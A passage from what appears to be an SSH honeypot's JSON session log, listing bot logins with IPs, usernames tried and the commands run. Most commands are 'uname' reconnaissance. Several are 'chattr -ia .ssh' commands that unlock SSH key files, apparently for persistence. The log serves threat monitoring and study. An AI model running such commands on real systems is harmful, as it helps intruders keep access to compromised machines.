  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:55:58.352242+00:00",
  "ended_at": "2026-08-26T13:56:01.712605+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8260532-91ce-4ddd-9904-25649c0c7f2b",
  "name": "foggy-cheerful-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53802,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 499,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:55:57.980956+00:00",
  "ended_at": "2026-08-26T13:56:01.348730+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "91543665-4e0b-4800-a78c-c88a52baf5c4",
  "name": "upland-breezy-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60476,
  "username": "init",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 384,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:55:51.451506+00:00",
  "ended_at": "2026-08-26T13:56:01.713566+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "59302a61-2612-4208-880c-57bc9e169e91",
  "name": "windswept-airy-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 56754,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:55:48.892489+00:00",
  "ended_at": "2026-08-26T13:55:50.492556+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "026c03e7-4fc2-4395-af6a-691d4ffcf255",
  "name": "lonesome-whispering-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 51152,
  "username": "admin2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:55:37.500636+00:00",
  "ended_at": "2026-08-26T13:55:41.977795+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "285b268d-8e88-4074-99b0-7601a3974d5a",
  "name": "reedy-mossy-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42462,
  "username": "admin2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 530,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:55:30.988796+00:00",
  "ended_at": "2026-08-26T13:55:41.976648+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "f090a379-d2d0-40f0-bef9-0e44b690685f",
  "name": "golden-restless-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40754,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 368,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:55:28.789041+00:00",
  "ended_at": "2026-08-26T13:55:34.767627+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "26f2a77d-6806-41d5-88e4-f9344e2d32b9",
  "name": "obsidian-fabled-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56760,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:55:21.718133+00:00",
  "ended_at": "2026-08-26T13:55:23.332424+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "26b5bcfd-4c16-4672-a6f5-cb8f22b7cf25",
  "name": "hazy-sunlit-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56756,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:55:19.934725+00:00",
  "ended_at": "2026-08-26T13:55:21.122104+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9d6f7ec-ae53-46c3-ae66-55da39cd2361",
  "name": "merry-noble-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40674,
  "username": "tu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:55:14.798951+00:00",
  "ended_at": "2026-08-26T13:55:16.062830+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2096
 },
 {
  "id": "8c5f8b5c-80e6-49a3-b7ae-b20d8615d3ca",
  "name": "chilly-diligent-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 53784,
  "username": "reza",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:55:00.422101+00:00",
  "ended_at": "2026-08-26T13:55:04.477415+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d76f07c-0bbb-491a-9219-83bd8523d7bb",
  "name": "airy-chilly-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45786,
  "username": "reza",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 578,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:54:55.799961+00:00",
  "ended_at": "2026-08-26T13:55:04.479592+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "1f8b0e84-fcd1-40ee-8532-e1b6b13568ae",
  "name": "sullen-nautical-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40676,
  "username": "tu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:54:54.026832+00:00",
  "ended_at": "2026-08-26T13:54:54.964263+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "840b1257-6dce-4ed9-9a02-929803bbf4c7",
  "name": "ivory-sleepy-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49660,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 390,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:54:52.785324+00:00",
  "ended_at": "2026-08-26T13:54:56.599589+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cf1587b1-6ace-4aeb-a4be-a81accf19873",
  "name": "mellow-murky-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40675,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:54:50.790697+00:00",
  "ended_at": "2026-08-26T13:54:52.523249+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55fa7ec1-0486-4fdd-a0cd-e11e2b243c68",
  "name": "jolly-hushed-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49096,
  "username": "student",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:54:31.598692+00:00",
  "ended_at": "2026-08-26T13:54:37.909513+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ad44b8f2-be6d-4783-b449-c007a3692db6",
  "name": "kindly-fearless-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37188,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:54:17.948351+00:00",
  "ended_at": "2026-08-26T13:54:20.745586+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7fc69e4f-e1e3-47c8-90b1-5a800b73f774",
  "name": "coastal-sullen-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53682,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 518,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:54:13.167014+00:00",
  "ended_at": "2026-08-26T13:54:18.819342+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dd5e4e92-0ded-4306-9e2a-111e713d26ce",
  "name": "cunning-brisk-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 491,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:53:57.831090+00:00",
  "ended_at": "2026-08-26T13:54:00.613090+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "afed491f-443a-4678-b2db-1fd6102a464b",
  "name": "sandy-graceful-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52216,
  "username": "teamspeak",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:53:45.342766+00:00",
  "ended_at": "2026-08-26T13:53:46.697851+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2143
 },
 {
  "id": "46b27c3e-d106-4144-a0ce-3436f99e0571",
  "name": "orderly-weathered-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56464,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 417,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:53:44.441421+00:00",
  "ended_at": "2026-08-26T13:53:49.827770+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "94233871-d63e-4565-84e5-d94f9d5b247b",
  "name": "rapid-coastal-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33982,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:53:43.038029+00:00",
  "ended_at": "2026-08-26T13:53:47.080644+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7b2048a3-49c9-4762-a376-df17f560623a",
  "name": "tranquil-dusky-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52230,
  "username": "teamspeak",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:53:21.248295+00:00",
  "ended_at": "2026-08-26T13:53:22.860525+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "83982bfe-838e-494b-b9ba-ff8f6743bcf0",
  "name": "buoyant-nautical-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52224,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:53:19.682900+00:00",
  "ended_at": "2026-08-26T13:53:20.699949+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "99ff4e51-66da-43a2-af85-8972f8c0b911",
  "name": "painted-lunar-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34232,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 354,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:53:17.353382+00:00",
  "ended_at": "2026-08-26T13:53:22.338450+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "24cb196f-6236-4f97-a8a5-6e8869e5caf8",
  "name": "quiet-frosty-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60812,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:53:05.484493+00:00",
  "ended_at": "2026-08-26T13:53:10.424998+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e90e78f6-ef2e-4728-b990-99874cbf5f21",
  "name": "muted-peaty-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35854,
  "username": "app",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 394,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:52:52.159305+00:00",
  "ended_at": "2026-08-26T13:52:56.708028+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bdcb82cb-51ee-4f41-b553-754622222ea6",
  "name": "sullen-shifting-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55124,
  "username": "odoo17",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 514,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:52:40.198833+00:00",
  "ended_at": "2026-08-26T13:52:44.090745+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "215ced8a-5754-4c1e-aa4e-f93dfd2d660b",
  "name": "frugal-supple-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40609,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 757,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:52:26.025846+00:00",
  "ended_at": "2026-08-26T13:52:27.685370+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2109
 },
 {
  "id": "0703d6cd-6b1c-4625-b50a-b993cb6255c2",
  "name": "languid-feral-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51926,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 355,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:52:19.781087+00:00",
  "ended_at": "2026-08-26T13:52:22.699606+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cf665f4c-f819-4672-b50f-7e19ede7167e",
  "name": "primal-umber-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51060,
  "username": "username",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 440,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:52:12.657737+00:00",
  "ended_at": "2026-08-26T13:52:17.029777+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7569605e-2a35-4a98-bb95-eb682bbb282a",
  "name": "scarlet-weathered-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40611,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:52:04.407947+00:00",
  "ended_at": "2026-08-26T13:52:05.741560+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53907859-052c-40f0-90a1-8a4ac3c54253",
  "name": "candid-gentle-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54438,
  "username": "rocky",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 418,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:52:02.746173+00:00",
  "ended_at": "2026-08-26T13:52:05.937738+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "846bd31a-a28e-4de1-906c-48a1afec9f39",
  "name": "gnarled-gentle-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40610,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:52:00.943098+00:00",
  "ended_at": "2026-08-26T13:52:02.909054+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ef889a52-47c0-4eca-a6fb-3b00a74a1861",
  "name": "fickle-solemn-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35600,
  "username": "a",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 537,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:51:48.907119+00:00",
  "ended_at": "2026-08-26T13:51:52.189048+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1acaed3f-f46f-4bc5-bb50-d204692265c4",
  "name": "solemn-sandy-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 53458,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:51:45.885664+00:00",
  "ended_at": "2026-08-26T13:51:47.363054+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2115
 },
 {
  "id": "031d4a8c-8d36-4ff2-abe3-fdc2b232285f",
  "name": "smooth-hushed-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 55104,
  "username": "packer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:51:42.424859+00:00",
  "ended_at": "2026-08-26T13:51:48.158426+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c531c407-7e99-4a19-993d-d40963d05a78",
  "name": "curious-vivid-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35394,
  "username": "packer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 463,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:51:35.418009+00:00",
  "ended_at": "2026-08-26T13:51:48.159777+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "7173fa52-0fd5-46e0-ba12-6fad9c61e341",
  "name": "patient-airy-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53464,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:51:20.819612+00:00",
  "ended_at": "2026-08-26T13:51:22.461320+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cd57bbfc-8cfd-4d8e-bf02-06f7a2c3956a",
  "name": "freckled-quiet-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40536,
  "username": "cloud",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:51:19.937272+00:00",
  "ended_at": "2026-08-26T13:51:26.146526+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8b1793ad-bbd1-4373-974f-7a9ce7c813a2",
  "name": "hidden-tidal-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53460,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:51:18.805578+00:00",
  "ended_at": "2026-08-26T13:51:20.259682+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e822cb0e-d283-457e-8012-42973856fedc",
  "name": "bitter-kindly-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 51038,
  "username": "nutanix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:51:13.316206+00:00",
  "ended_at": "2026-08-26T13:51:17.467925+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "899c977d-2d7c-4b18-b62e-9b363067f70b",
  "name": "watchful-knotted-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34052,
  "username": "odoo18",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 652,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:51:07.840639+00:00",
  "ended_at": "2026-08-26T13:51:11.207874+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "819bf7a3-afde-48d5-823b-e210b5fe3325",
  "name": "drifting-civil-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49600,
  "username": "nutanix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:51:07.580224+00:00",
  "ended_at": "2026-08-26T13:51:17.469617+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "303fec26-2e86-43c7-87e4-5250ebd344c8",
  "name": "sullen-jovial-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 59852,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:50:55.114571+00:00",
  "ended_at": "2026-08-26T13:50:59.042669+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "31f65d3c-d9f2-42fe-be5c-457865a01835",
  "name": "dewy-cobalt-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57570,
  "username": "myuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 670,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:50:42.309388+00:00",
  "ended_at": "2026-08-26T13:50:45.716059+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5a1c012d-7cd7-4ed4-8818-c540fd181112",
  "name": "woven-frank-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 35380,
  "username": "uploader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:50:38.589383+00:00",
  "ended_at": "2026-08-26T13:50:43.879426+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d7f30e6d-43aa-467d-bd7e-f93eca166e63",
  "name": "eager-scarlet-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47626,
  "username": "uploader",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 651,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:50:31.951054+00:00",
  "ended_at": "2026-08-26T13:50:43.880215+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "ab0884ed-70ed-4e44-9281-8cc7f2dfab83",
  "name": "coral-gloomy-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34094,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 474,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:50:14.045135+00:00",
  "ended_at": "2026-08-26T13:50:19.074443+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d257478c-fe0e-4ea0-a397-7b348acc3ab4",
  "name": "ginger-idle-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 49678,
  "username": "aiuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:50:10.105898+00:00",
  "ended_at": "2026-08-26T13:50:14.993392+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "50d501c0-7cb2-48cc-b8e4-6683c042d604",
  "name": "stoic-coral-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
